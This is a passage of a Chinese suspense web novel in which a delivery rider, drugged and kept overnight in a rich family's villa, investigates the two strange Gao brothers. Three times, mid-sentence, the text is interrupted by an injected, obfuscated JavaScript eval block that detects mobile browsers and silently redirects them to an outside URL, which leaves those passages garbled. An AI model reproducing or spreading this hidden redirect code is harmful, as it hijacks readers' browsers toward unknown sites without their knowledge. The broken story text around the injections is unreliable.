李株全程遵守交通规则,比原主之前多花了十五分钟抵达,门口的保安认得他,让停车签名。 李株写下“徐晓哲”三个字,放下笔聊起天来:“老哥,你知道这家主人姓什么吗?我连续送了四天,还不知道人家姓啥,见面都不知道该怎么打招呼。” 保安压低声音说:“姓高,就是干钢材和造船的高家。” 高格钢材和高格船舶很有名,不说是本市首富,至少排上前五。 李株多问了一嘴:“坐轮椅的是高老板的儿子?” “嘘嘘嘘。”保安紧张兮兮地说,“小声点,高从俞的确是老大,你可千万别在他面前提瘸腿二字。” 说完反应过来不对,他后退半步打量李株:“你见过小高先生?” “见过一次,他请我喝了咖啡。” “小高先生是好人,我们保安队的人都被邀请过,可惜好人没好报……”有业主的车来了,保安止住话,回到亭子里抬杆。 电瓶车得停在外面,李株拎着点心,步行来到高家。 门铃声响起,陈姨擦干手匆忙跑来开门:“给我吧,你可以走了。” 李株感觉到对方有催促之意,不容多想,他期盼中的轮椅出现了。 高从俞穿着白色衬衣和黑色西裤,面色倦怠地看向来人:“进屋喝口水再走吧。” 说的话和第一次见面丝毫不差。 4. 大哥,收手吧 进门时,李株看了高从俞的数据。 正负值都是零。 说明高从俞对他没有厌恶,没有喜欢,既然无感,又为什么要请他进门,纯粹太闲? 轮椅上的男人后背挺直,肩宽腰窄,脚上穿着与衣服搭配的黑色皮鞋。 李株在高从俞的示意下,坐到柔软的沙发上,冲男人笑了下:“高先生。” 高从俞笑容和煦的与他寒暄:“天气这么热,跑外卖很辛苦吧。” 李株拿出社会人的架势:“嗐,这年头干啥不辛苦。” 陈姨过来放下咖啡和点心。 高从俞招呼他自便,拿起旁边的书看。就在李株以为话题结束时,高从俞毫无征兆的开始卖惨。 “如果能站起来,我愿意要这份辛苦,可惜腿不争气。”他用力捶打自己无知觉的双腿,苦涩道,“你不知道我有多羡慕你,可以每天在外面跑。” 李株眼珠子一转,卖惨是吧,一起卖才是真的卖。 他轻扯嘴角:“别羡慕我,跑外卖很累的,风吹日晒是常事,最怕遇到不讲理和讹人的客人投诉,随便几句话,就能让我白干一天。” “我很爱钱,但是钱不爱我,它们在我兜里待不住,今天交房租,明天生病,这不,我昨早上刚出了车祸,休息一天就赶来上班了。” 真的很惨很惨。 李株偷偷观察,高从俞在听到车祸时没有特别的反应。 他继续道:“我从小在孤儿院长大,衣服穿不暖,饭吃不饱。对了,为了抢一块排骨,我还受过伤。” 说着撩起短裤,大腿外侧靠上的位置,有一条增生的陈年旧疤。 高从俞的眼神暗了暗,舌尖舔过犬齿,似笑非笑地反问:“你在跟我比惨?” “不敢。”李株放下裤脚,诚诚恳恳地说,“我是想告诉您,世界上没有最惨,只有更惨,像我这样的蝼蚁都能挣扎活下去,何况是高先生这样的天之骄子。现在科技和医学这么发达,相信总有一天,先生您能重新站起来。” 高从俞摩挲着书脊,又笑了,笑得李株头皮发麻。 马屁拍到了马腿上,没把人拍舒服? “借你吉言。”高从俞说完便操控轮椅,离开了客厅。 李株莫名其妙,扭头朝电梯方向看去,在高从俞转过来的瞬间,他飞快将脑袋转回去。 三层别墅被死一般的寂静笼罩,原本在厨房忙活的陈姨也不知所踪。 李株心跳得厉害,有亿点点理解原主的偷窥癖了。 他也想去看高从俞在做什么,最后为什么要笑得那么诡异。 如果自己不能做决定,就交给老天爷去做。 “点兵点将,点到哪个选哪个。”李株边念叨,手指边在半空点来点去。 老天爷发话了,让李株偷看。 他先去了厨房,透过后门玻璃看见陈姨蹲在花园开辟出的菜地里拔青菜。 那么大个篮子里才装了几根菜,想来不会马上回来。 李株做了几个深呼吸,轻手轻脚地来到电梯轿厢所在的三楼。 一眼望去有五个房间。 “统哥,我该选哪一间?” 给出答案等同帮宿主作弊,有原则的系统不会回答。 李株等不到答案,只能挨个听。 前面四间静悄悄的,只有第五间有声音。 他趴到地上从门缝偷看,视线触及到一片红殷殷的,闪烁的光。 随后又将耳朵贴在门上,屏住呼吸去听。 屋内有种很轻微的黏腻声,像菜刀切过软肉,又像是用东西在泥泞的东西中搅动。 李株判断,这间屋子可能是影音室,高从俞是在看电影。 偷听太久会容易被发现,他两手撑着地面缓慢爬起来,落在地板上的视线,突然发现自己身后多了一双脚。 李株猛地转身,险些吼出声。 来人个子很高,也很瘦,脸色苍白得没有一点血色,气色比瘸腿的高从俞还差。 李株捂着狂乱跳动的心脏,不断提醒自己,眼前的人可能是高家人,再气也不能喷客户。 呼吸平复些许后,他用细若蚊呐的气音问:“你是?” “高从霭。”高从霭眯了眯漆黑的眼睛,思考自己在这个家的定位,笑容灿烂,“高家的私生子。” 李株的眼睛往上瞟,高从霭对他没有正负值。 看到生人在自家鬼鬼祟祟偷听又偷看,居然没有情绪波动,新出场的小伙子心态不是一般的好。 李株尴尬而不失礼貌:“小高先生好。” 高从霭弯着背,站得不算挺拔。 他的手落到李株肩头,冷意渗透衣服黏在他的皮肤上,让人想到冰冷滑腻的蛇。 高从霭的唇贴近李株的耳朵:“你在偷看我大哥吗?嘘,这时候千万别被他发现。” 陌生的气息擦过耳垂,李株不适应的侧身躲开,迅速分析该朝哪个方向溜。 “是不是很好奇他在做什么?”高从霭不打算放人,轻贴李株肩膀的手改为抓。 李株急中生智:“你可别冤枉我,我是在找厕所,结果一不小心崴了脚,摔趴在地上。” 高从霭的眼睛线条利落,微末的自然光落入漆黑的眼底,晕染出漂亮的流光。 他抬了抬下巴,嘴唇勾出不怀好意的弧度,另一只手握住门把迅速转开。 颇为血腥的画面就这样撞进李株的视野——跳动的心脏被手术刀切割开,下面是黏连在一起的其他脏腑。 “吧唧”一声,戴胶皮手套的手伸进了腹腔。 是手术录像。 屋子里唯一的观众正戴着耳机,目不转睛地盯着幕布,右手拿着一杯红酒,没注意到房门外有人。 高从霭看着李株完全僵住的表情,胆子真小。 他撇撇嘴,觉得没意思,管杀不管埋转身就走。 高瘦的身形嵌在昏暗走廊中,宛如夜里游荡的鬼魅。 原主那天看到的三楼的人,就是他。 高家两兄弟一个赛一个怪异。 李株重新关好门,回到楼下坐好,心跳快得不正常。瞄到那杯凉掉的咖啡,他犹豫了下,仰头一口干掉。 困意来得很快,咖啡里绝对加了东西。 这副身体比之前各方面更强健,李株晕得不够彻底,意识被切割成两半。 一半在沉睡,另一半隐约听到外部的声音。 他感觉有只粗糙的手蹭过自己的额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276049|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,还闻到股烧报纸的味儿,最可怕的是,围着他的人不止一个,其中就有高从俞。 “抓紧时间。” “把东西拿过来。” “换其他办法吧,之前的行不通。” 说的话李株一句也听不懂,没法揪出关键信息,片刻过后杂乱的脚步声远离,李株没扛过困意,陷入了沉睡。 醒来第一件事,就是让系统检查他的身体。 残留药物是安眠药。 一看时间,已经傍晚六点半。 头有些昏沉,李株垂着脑袋坐在沙发上,心头恐慌。 高从俞做了下药这么缺德的事,见到他时竟毫无情感波动。原因很简单,对方不拿他当人看,死活不重要。 那高从霭呢? 刚才那堆声音中没有他,是没说话,还是不在沙发旁? 窗外传来轰隆一声巨响,白亮刺眼的闪电劈开乌云密布的天。 兜里手机震动,李株取出来一看,是郎峰。 “怎么才接电话!知不知道我给你打多少个!” “手机静音,没听到。”外卖员不可能开静音,是高从俞调的,李株心知肚明。 郎峰焦急追问:“那你在回来了吗?暴雨马上就来了,带没带雨衣了?” “我带了,马上回。”李株挂了电话。 陈姨听到他醒了,连忙从厨房走到跟前:“从这里回市区很远,万一中途遇到暴雨不安全,高先生让我转告你,等暴雨下完再走。” 再等下去人就凉了。 李株谢绝:“替我谢谢高先生,不过我还得回市里继续跑外卖,雨天单价高。” “生命安全哪有赚钱重要。”陈姨劝说,“小伙子你听我的,留下。” 正要继续婉拒,头顶传来高从俞的声音。 “晚上这段时间能赚多少,我十倍补给你。” 李株仰头看他,高从俞坐在二楼护栏后:“家里有客房,你可以等明天早上再走。” 外面传来噼里啪啦的声响,鸽子蛋大小的冰雹密密麻麻砸下来,落地窗被砸得颤动,院子里的树被强风吹得东倒西歪。 高从俞坐着轮椅出电梯:“你下午的鼓励令我十分振奋,我真心拿你当朋友,在朋友家住一晚不过分吧。” 李株:“……” 茶香四溢,顶级绿茶。 “那就打扰了。”李株答应。 留下来也好,天黑暴雨方便做坏事,如果高从俞是凶手,今晚很可能采取行动。 高从俞叫来陈姨,让她带李株去房间。客房与主人房的装修档次一样,处处透着金钱气息。 靠窗的位置放着一张两米多的大床,床上铺着华贵的淡粉色真丝床笠。 陈姨:“有时候表小姐来会住这间屋子,你要是不喜欢,我马上帮你换成其他的。” 李株掀开床笠,下面是成套的粉色,触感丝滑:“不用换,这样已经很好了。” 陈姨点点头,带着李株进卫生间交代洗漱用品。 等她说得差不多了,李株状似无意地提道:“陈姨,我下午看到小高先生了。” 反应过来“小高先生”指的是谁,陈姨压低声音警告:“离他远点,他不正常。” 5. 大哥,收手吧 高从霭是很神经质,同在一个屋檐下,李株怕触到他的雷区。 “姨,跟他相处有什么需要特别注意的吗?” “别说他是……”想起是家丑,陈姨险些咬了舌头。 李株:“别说他是私生子?” “你知道?”陈姨惊愕。 “之前碰到过一次,他自己说的。” “他能说,别人不能说。”陈姨的眼里多了几丝怜悯,“其实小少爷蛮可怜的,他妈妈是太太去世后进的门,无名无份跟了董事长五年。小少爷三岁生日那天,她失踪了,十天以后被人发现死在后面的人工湖里。” “捞起来的时候,她身上绑着一块石头,肉被鱼啃得坑坑洼洼,小少爷当时就在湖边……” 经历了这种事,能正常才怪。 李株欲言又止:“所以您是怕我碰见小高先生,才不希望我留下吗?” 陈姨没想到他会提起门口那件事:“我以为你没明白我的意思。” 李株:“明白的。” 是高从俞出现太快,他走不了。 过了会儿,陈姨说:“不是小少爷,是大少爷,他心情不好,我怕他迁怒你。” “高先生遇到什么烦心事了吗?”李株拉她去沙发坐下,“或许我能帮到他。” 一个送外卖的能帮什么忙,但陈姨憋得太久,想找人倾诉。 “大少爷的腿是三年前车祸撞坏的,那天也像今天这样,下好大的雨。从那以后,每到下雨天少爷就会发脾气。” “今天天气又潮又热,肯定要下雨,大少爷从早上起就不大高兴。”从上午到中午,她战战兢兢生怕做错事。 李株:“可我来的时候,他看上去很平和。” 陈姨也觉得奇怪,青年的出现就像一颗缓释胶囊,缓解了大少爷的情绪。 “总之今晚你尽量不要出房间。”她心里不踏实,“尽量避开两位少爷。” 李株:“好。” “我得下去准备晚饭了。”话题结束得突然。 带上门时,陈姨丢下一句让李株摸不着头脑的话:“晚上看到什么别害怕。” “啊?”李株不解地挠头。 等房门关上,他转头看了一眼大床,张开双臂扑上去,打个滚。 好软,好舒服。 咔嚓拍下一张照片发给郎峰,告诉他今晚不回去了。 原主的床是硬板,睡一觉起来浑身酸痛,李株放下手机又滚了一圈,仰躺着望向水晶吊灯。 “她最后一句几个意思?”李株问系统。 365:“不要问我。” 李株嫌弃:“要你何用。” 系统受到诸多限制,有苦难言,它讨好道:“瓜子要吗?” 李株更嫌弃了:“你就是想骗我赊账!” 365:“很便宜,三日内还清就行。” 吃东西有利于思考,李株抵挡不住诱惑:“来1个积分的量,等会儿,不会又有什么奇葩功效吧。” 【瓜子:嗑嗑更健康】 一把瓜子出现在床头柜上,李株斜躺过去,拿起一颗放在牙齿间咬开。 焦糖味瓜子甜咸交融,沿着舌尖蔓延,运转一天的大脑重新清明,适合思考。 目前有三个可疑人物,恨死原主的沈萍芳、被频繁骚扰的庄恒川、莫名示好的高从俞。 高从霭嘛……暂时打个问号。 其中沈萍芳可以排除,她在城边村开了一家小吃店,每周休息一天。 前天是周末,沈萍芳趁休息回了趟老家看女儿,昨天清早原主出门时,她还没回家。 昨天晚上,李株在大家睡着后,去客厅和厨房翻了垃圾桶。 找到一张沈萍芳老家的超市小票,和一张检过票的,昨天上午的返程汽车票。 庄恒川有嫌疑,但不多。 如果无法再忍受原主的骚扰,他可以搬走,没必要冒险杀人。 而且原主的死,明显经过周密计划。 凶手提前知道他会抄小路,知道他骑车靠右行的习惯,还要计算他轮胎碾过的位置,以便提前放置穿刺物。 这些需要长时间的观察和反复计算,庄恒川没那个空。 除非他是时间管理大师,能百忙中挤出时间多次模拟现场。 最后一个是高从俞。 他身上疑点多,可李株找不到他的杀人动机,几天前两人根本不认识,无冤无仇。 “小徐,饭好了。”陈姨来敲门。 李株一个鲤鱼打挺跳起来,下床去吃饭。 灯光温暖的饭厅中,条形大桌上摆了一道菜、一双筷子、一碗米饭,一张凳子摆在外面,其余全部收在桌下。 李株左右看了一圈:“高先生他们不吃吗?” “大少爷公司有急事出门了,小少爷没胃口。”陈姨热情道,“快尝尝好不好吃。” 李株拿起筷子,目光扫过落地窗。 冰雹换成了瓢泼大雨,天上电闪雷鸣,从院子里树木的弯折弧度看,风力至少七到八级。 哎,总裁不好当。 陈姨手艺好,青椒青翠肉丝油亮,口味咸淡适中,入口滑嫩。 李株吃完一碗不够,自己去厨房添了第二碗。屁股刚挨上凳子,高从霭从楼上下来,坐到他对面。 青年夹菜的动作一顿:“吃吗?” 高从霭的脑袋枕在交叠的手臂上,冷漠拒绝:“不吃。” “小少爷是饿了吗,想吃什么我马上做。”陈姨对他的态度,不如对待高从俞自然。 李株默默看在眼里,对高从霭展示筷子上的肉丝:“很香的。” 高从霭坐直身子,苍白的脸衬得两颗眼珠漆黑深邃,他红润的嘴唇动了动。 “知道那是什么肉吗?” 李株吞咽到一半,卡住了,惊疑不定地望着他。 “记得大哥看的录像吗?”高从霭咧嘴笑道,“听说人肉吃起来很香,你觉得呢?” 李株咽下嗓子眼的食物:“我觉得你有病。” 投诉就投诉,这种人就是欠骂。 没见人正在吃饭吗! 高从霭不怒反笑,笑声洪亮夸张,肩膀随着哈哈哈大笑而颤动,脑袋埋在臂膀中,活脱脱就是个疯子。 李株的胃口没受到影响,起身去厨房添第三碗,特意用肉汤拌饭。 高从霭笑够了,目不转睛盯着李株看。 就在李株快吃完时,他忽然说:“你喂我吃一口。” 一旁看着两人互动的陈姨冷汗都下来了,不停地跟李株使眼色,让他千万别忤逆。 高从霭好整以暇,张开嘴。 李株将米饭和汤汁搅拌均匀,运了一口气,硬着头皮用筷子挑起一戳,塞进他嘴里。 高从霭享受般地眯起眼,下一瞬,他的五官骤然扭曲,冲出饭厅跑去卫生间。 胃液连同嘴里的食物一起吐进马桶。 陈姨取来毛巾打湿,帮他擦嘴。高从霭黑着脸抢走,随意擦了两下扔到地上,摇摇晃晃回了二楼的房间。 饭厅里,李株淡定地扒完最后两口汤拌饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276050|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈姨收拾完卫生间的脏污,刷干净马桶,回来时厨房干净整洁,碗筷放进了消毒柜中。 李株扯过厨房纸擦手,关心道:“阿姨,小高先生怎么了?” “他肠胃不好,容易呕吐,你以后可不能那样和小少爷说话。”陈姨点到为止,没继续唠叨,“你先出去,我好拖地。” 见打听不出其他消息,李株作罢,在客厅倒了一杯温水上楼。 不知道高从霭住的哪一间,李株站在走廊中间喊:“小高先生,在吗?” 最后一间,也就是他住的客房隔壁,高从霭打开门,佝偻着身体倚在门框上,眼皮无力地耷拉着。 李株把水递给他:“喝点热水会舒服些。” 透明的液体随着青年的动作泛起波纹,高从霭掀起眼皮,就着他的手喝了一口。 李株:“……” 懒死你算了,挺自来熟,没有边界感。 等高从霭喝完,李株诚心道谢:“谢谢你没有把我偷看的事告诉高先生。” 高从霭抬手蹭掉唇边的水珠,挑眉:“不装了?” 李株问他:“你在我背后站了多久?” “从你上楼开始,我一直跟在你身后。” “你是猫变的吗?走路怎么没声音!”李株觉得自己像个跳梁小丑,被围观了那么久。 高从霭耸了耸肩:“习惯了。” 李株:“嗯?” 高从霭靠近他的耳朵,阴森森地说:“不能发出声音,会被她发现的。” 李株头皮发麻,双手不自觉地攥紧裤缝,直觉告诉他,这个“ta”指的不是高从俞和陈姨。 ———— 暴雨愈演愈烈,风声呼啸而过,十一点多,有光线从窗外晃过。 助理打着黑色雨伞护着高从俞进门,等门的陈姨取来毛巾,帮高从俞擦掉肩头的雨滴。 高从俞推开她的手,看了眼二楼:“人睡了?” “小少爷……” “不是说他。”高从俞不耐烦地打断。 陈姨:“徐先生应该睡了,饭后回房间再没下来过。” 高从俞搭在扶手上的手指点了点,沉默的进了电梯。 李株站在门口听动静。 电梯运转的声音消失,肯定是高从俞出来了,他拿上水杯,打着哈欠走出去。 “高先生。”李株站在走廊中央,惊喜地望着迎面而来的男人,“你回来啦。” 高从俞:“我以为你已经睡下了。” “渴醒了,下去倒杯水。”李株晃了晃手里的空杯。 高从俞打开第一间房,对李株说:“我进去拿份文件,你等我一下,跟我一起上楼去我房间倒,楼下的饮水机可能关了。” 李株嘴上说好,心里发慌。 霸道总裁领地意识强,以前穿过的世界里,他扮演的小炮灰只有被挡在门外的份儿。 高从俞什么情况,接连示好是想泡他? 想到这个可能性,李株全身的毛孔都在说No,他在脸上拍了一下,命令自己不要胡思乱想。 高从俞听到声音回头:“怎么了?” 李株:“有蚊子。” 高从俞的卧室有三个客房那么大,占据三楼大半面积,拥有多个功能区。李株回忆匆匆一瞥的高从霭的卧室,没有这间大。 “饮水机在那边。”高从俞说着,指尖勾住领结拉扯几下。 李株倒完水,余光瞥见男人开始脱衣服,警铃大作。 高从俞温柔喊道:“晓哲,能帮我一个忙吗?” 6. 大哥,收手吧 原主第一次见到高从俞,对方态度温和但不亲切。 今天吃错药似的,接连向他释放拉近关系的信号。 想起昏睡时听到的那句“换其他办法吧,之前的行不通”,李株猜,这一出恐怕就是高从俞“新办法”的一环。 他放下杯子,顺着对方说:“怎么帮?” “轮椅没电了,升降功能无法启动。”高从俞难堪的别开眼,“你能扶我去衣帽间吗,那里有备用轮椅。” “当然可以。”李株半蹲下,让高从俞搂住他的脖子。 清冽的香水味扑鼻而来,李株的敏感的鼻腔有点痒,忍不住想揉,他吃力地将男人从轮椅中撑起来。 三年来,高从俞没有自暴自弃。 他注重养身和饮食,每天按摩双腿,加上个子高,体重只比健康时轻了二十斤。 李株当人肉拐杖当得吃力,从卧室到衣帽间,花了足有五分钟。 衣帽间很大,四周是高档实木打造的壁橱,中间摆放着展示柜,里面装满了名表、戒指,以及……荣誉证书? 李株将人安置在备用轮椅上,背对着高从俞弯下腰,仔细看证书内容。 “没想到高先生做过这么多好事。”他指着其中一本,“还有关爱我们骑手和环卫工的呢。” 高从俞将脱下来的西装放到一旁,解开衬衣领口的扣子:“能力越大,责任越大,总要为社会做些事情。” “高先生是大好人。”李株朝他竖起大拇指,脑子里回放起刚捕捉到的信息。 微表情的产生和抑制,根植于人类生理和心理底层,情绪表达的速度远快于理智控制。 除非受训人员,寻常人无法完全控制受情绪影响的面部肌肉。 即便能,那也无法抑制微表情最初的发生。 甚至会因为竭力控制表情,造成面部僵硬、不自然。 高从俞在说那番话时,单侧嘴角极轻微向上扯,眼神短暂的向下,稍纵即逝。 李株穿过那么多次,看过无数张脸,清楚这意味着什么。 ——轻蔑与不屑。 高从俞不是真心做慈善。 这些丰功伟绩,是在延续他善良温和的人设。 李株让系统调出高从俞的数据。 正负值依旧为0,对方没拿他当朋友。 “就当是给自己积德了。”高从俞调整轮椅高度,尝试着伸长手臂,仍然够不到挂在高处睡袍。 “陈姨恐怕忘了我是个废人。”他自嘲,求助地望着李株,“麻烦你了。” “这算啥麻烦。”李株帮忙取下来,“你要去洗澡?自己能行吗?” 高从俞:“我可以,你早点去休息。” “不行,我不放心,我留下来帮你。”李株假装听不懂他的拒绝。 高从俞抿了下唇:“不用。” 李株:“朋友间不该互相帮助吗?来来来,别跟我见外。” 眼看他的手就要碰上男人的肩膀,高从俞突然发作:“别碰我!滚!” 轮椅后的李株笑了,露出破绽了吧。 暴脾气是受不了这种言语辱骂的,他没法让自己的脸一阵青一阵白,就使劲揪大腿。 很快,他脸憋得通红,喘着粗气说:“你良心上链接砍了几刀啊,缺一块分不清好赖是吧,以为谁稀罕搭理你!破地方老子不待了!” 早上起,高从俞的情绪就很差。 上午跟陈姨发过三次火,李株来后,他努力压制情绪,把一腔烦躁全发泄到办事不利的下属身上。 让李株帮忙,是两人间的第一次肢体接触,也是他今天最后的忍耐。 没想到青年不懂进退,恬不知耻妄想帮他洗澡,还敢对他出言不逊! 高从俞操控轮椅转过身,与李株对峙,胸口剧烈起伏,立在扶手上的手臂青筋突起。 李株兴奋地让系统报数。 【负向值+5,这种货色也配碰我?】 太好了,有情绪波动了。 李株:“总数呢?” 【对象:高从俞;负向总值:0】 李株不信,总值不该是5吗,那么大个数字呢! 365:“他非常善于调控情绪。” 短短几瞬,高从俞纾解了负面情绪,剔除了对李株生出的厌恶。 是个狠角色。 李株气愤地越过高从俞,作势要走。 “抱歉。”高从俞抓住李株的手腕,低声挽留,“我心情不太好,不是针对你。雨那么大,别走了。” 李株一副没消气的模样,两手抱臂,昂着头,得理不饶人道:“是你说拿我当朋友,我才留下来,才想帮你。” “对不起。”高从俞僵硬地低下头。 【负向值+5,碰到他的手了,恶心真他妈恶心】 呸,阴阳人。 李株也觉得恶心,收回手说:“算了,你洗吧,我回房间。” “好。” 房门被打开又关上,确定屋子里只剩下自己一个人,高从俞抬起阴鸷的眉眼,抓住挂在架子上的衣物,粗暴地往下拽。 听到楼上的动静,李株激动地问系统:“数据是不是涨了?” 【负向值+6,敢骂我,总有一天我要亲手缝上你的嘴】 【负向值+10,垃圾东西,给我等着】 【负向值+10,不知道他身上有没有病毒】 负向值加得越多,李株越高兴,仰躺着翘起二郎腿,脚丫子在半空晃悠。 高从俞到底在图谋什么。 原主一个毫无背景的孤儿,要钱没钱,要权没权,有什么可……不对,有的。 有一条命,一副健康的身体。 李株翻身坐起来,离了大谱:“统哥,他想要我的腿?这个世界医学发达到可以肢体移植了?” 宿主脑子不灵光,365懒得搭理:“洗洗睡吧。” 李株睡不着,嗑瓜子嗑得神经亢奋,旺盛的精力急需发泄。 想来想去,只有一人可以帮他。 视频电话被接起来,对面的好兄弟快睡了,两眼半眯地躺在铁架床上,哈欠连天。 李株举着手机站在地上转圈:“给你看看我住的房间。” 郎峰被豪华装修闪了眼:“床这么大。” 李株:“等以后有钱了,我们也买大床,想怎么躺就怎么躺。” “钱难赚,屎难吃,不知道要等到啥时候。”郎峰是个很踏实的人,不迷信他哥许下的诺言,“你明早回家吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276051|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不想绕远,直接站点汇合吧。” 两人漫无目的的闲聊,不知不觉到了凌晨一点。郎峰困得眼泪花直冒,跪在床上对手机磕头,求他哥放过他。 李株嘴角一抽,大发慈悲地挥手说:“行了,睡去吧。” 挂了视频,依旧没有困意,李株就在房间里绕圈,中邪似的。 咔嚓—— 是高从霭的房间。 李株光脚走到门口,趴到地上,透过门下的缝隙看到一双脚走过。 等对方离开,他蹑手蹑脚地出门。 走廊留着壁灯,浅淡的光无法完全驱散黑暗,狭长的空间昏暗幽静,宛如通往深渊的小径。 李株的心扑通直跳,走一小段就停下,等高从霭离远了再继续尾随。 高从霭走到楼下大厅正中央转身,面朝李株躲藏的柱子方向。 一道闪电恰好劈过,照亮那张苍白无色的脸。 高从霭睁着双眼,眼神并非空洞无神,正明确地看地面某个点。 李株两手捂着胸口,不会被发现吧?趁着闪电消失,大厅重回黑暗,他猫着腰闪到沙发后躲藏。 低矮的视线落在地板上,刚好看到高从霭光着的脚。 以及,他脚正前方那双泥水踩出的脚印。 室内很干净,李株可以肯定,高从霭在这之前没出过房间,那另一双脏兮兮的脚印是谁踩出来? 思考间,那双瘦削的脚调转方向,朝旁边走去,进入了李株的视野盲区。 高从霭走路无声无息,李株不知道他去了哪里,拼命将身体缩成一团。 轰隆一声,闪电光照亮整个大厅。 李株看到面前的地板上多出一片阴影,有人立在身后。 “操!”他大喊出声,敏捷地翻身。 高从霭俯身看着他:“跟踪我?” 李株差点被吓破胆:“人吓人吓死人知不知道,你大晚上不睡瞎晃悠什么。” 高从霭的上半身往下压低几分,鼻尖几乎贴到李株的额头:“这里是我家,我可以在任何时间下楼闲逛。” 倒打一耙的计策失效,李株不慌不忙,假装无事发生:“突然好困,晚安兄弟,先去睡了。” 高从霭揪住他的后领,不准人走。 大厅右侧传来脚步声,陈姨举着手电筒走来,光线在李株脸上停留两秒,落到高从霭脸上。 看清是谁,她立即关掉手电,打开大厅灯。 “小少爷。”陈姨看到地上的泥水脚印,身子僵了下。 高从霭没说话,无声经过两人,踩上通往二楼的阶梯。 白色背影消失在二楼转角,李株和陈姨同时放松下来,在彼此眼中看到了同样的恐惧。 陈姨:“吓到了吧。” “还好。”李株扯来两张抽纸,递给陈姨一张,剩下那张用来擦汗。 陈姨的额头也在冒冷汗,声音颤抖地问:“我之前提醒你就是因为这个,小少爷经常梦游。” “没有吧,他人是清醒的。” “那是你看到的时候,他刚好醒来。”陈姨不信高从霭没有梦游,凝视地板上泥水脚印,低喃,“他肯定又去湖边了。” 李株小声提醒:“姨,小高先生身上没湿,他没有出门。” 7. 大哥,收手吧 豆子大的雨打在落地窗上,汇成蜿蜒曲折的水流。 室外被暴雨搅得浑浊,潮气的土腥味从各个缝隙挤进来,在两人之间蔓延开。 李株看到陈姨的嘴唇动了下,头一次显露出些许攻击性,“你开什么玩笑,泥巴脚印就摆在这里,肯定有人出去过。如果不是他,那就是你踩的。” 李株没跟她犟:“是我记错了。” 陈姨的脸色没有好转,念叨着:“得拖干净才行,大少爷看到要生气。” 脚步匆忙地取来打扫工具,双膝跪地用抹布擦拭,随后又用消毒水擦了两边,清水再擦一遍。 忙活完已经凌晨两点,陈姨睡意全无,去厨房熬鸡汤,说是早上要煮鸡汤面吃。 李株回到房间,趴在床上两手撑着下巴。 丸辣,就连陈姨也不是正常人。 兴许是瓜子功能失效了,困意涌上来,李株脑袋一歪睡着了,做了个梦。 梦见泥水脚印从客厅延伸到客房,吓得他一哆嗦,醒了。 雨后刺眼的晨光穿过窗帘间的缝隙,恰好落到他脸上。 李株睁不开眼,抬手挡住光线下床,双脚踩到了冰凉的地板上。 咦,拖鞋呢? 他睡前有个习惯,拖鞋要头朝外整齐摆在床前。此刻两只拖鞋分家,朝两个不同的方向歪斜。 李株问系统:“我拖鞋昨晚是并拢摆在床前的吗?” 365:“不要问我。” 李株:“年终述职不要指望我好好写。” 威胁谁呢,系统不在乎,写太烂挨批的不是它。 兴许是昨晚经历的事太刺激,上床时没注意。李株没把这件小事放在心上,趿上拖鞋进卫生间洗漱。 换回骑手工作服走出房间,浓郁的鸡汤香味便争先恐后的往鼻腔里扑,馋得人直咽口水。 李株迫不及待坐下来,想起这个家的主人,他看了眼楼上:“陈姨,高先生他们不吃吗?” “来了。”高从俞的轮椅停在三楼栏杆处,低头看下面的青年,“昨晚睡得好吗?” 心态真不错,仿佛昨晚什么也没发生。 李株心里佩服,嘴上别扭道:“马马虎虎吧。” 高从俞搭乘电梯下来,陈姨见他想坐李株旁边,赶忙挪开挡路的椅子。 “还没消气?”高从俞好脾气地问,“要不我再郑重的给你道个歉?” 李株放下刚拿起的筷子,认真看向男人,嘴唇倔强地抿在一起。 几秒后,他挺直的身板松弛下来,不好意思地说:“我这个人脾气大,一点就着,对不起,我昨晚不该那样骂你。” 背对着厨房盛汤的陈姨手一抖,险些把碗扣了。 大少爷的母亲背景殷实,与董事长高彦和算商业联姻。从小起,大少爷要风得风,要雨得雨,没人敢让他受委屈。 小徐是头一个骂了他,不用承担后果的人。 陈姨告诉自己,往后要对小徐更好。 她将面条放到桌上,打开餐柜取出餐巾布,高从俞从她手中接过,慢条斯理的垫进领口。 李株:“……”这逼装的。 高从俞拿起筷子:“看我做什么。” 李株收回视线:“能问你一个问题吗?” “什么?” “你和小高先生是不是关系不好?”知道高从俞企图加深两人的关系,李株不再有顾忌,想问就问。 高从俞低头吃了口面,掩藏起眼底的情绪:“怎么这么问?” “第一次见面,你说家里只有你和陈姨,可我离开的时候看到小高先生了。”李株例举第二件事,“还有现在,家里少一个人吃饭,但你没问。” 陈姨悄悄扯李株的袖子,示意他别再说了。 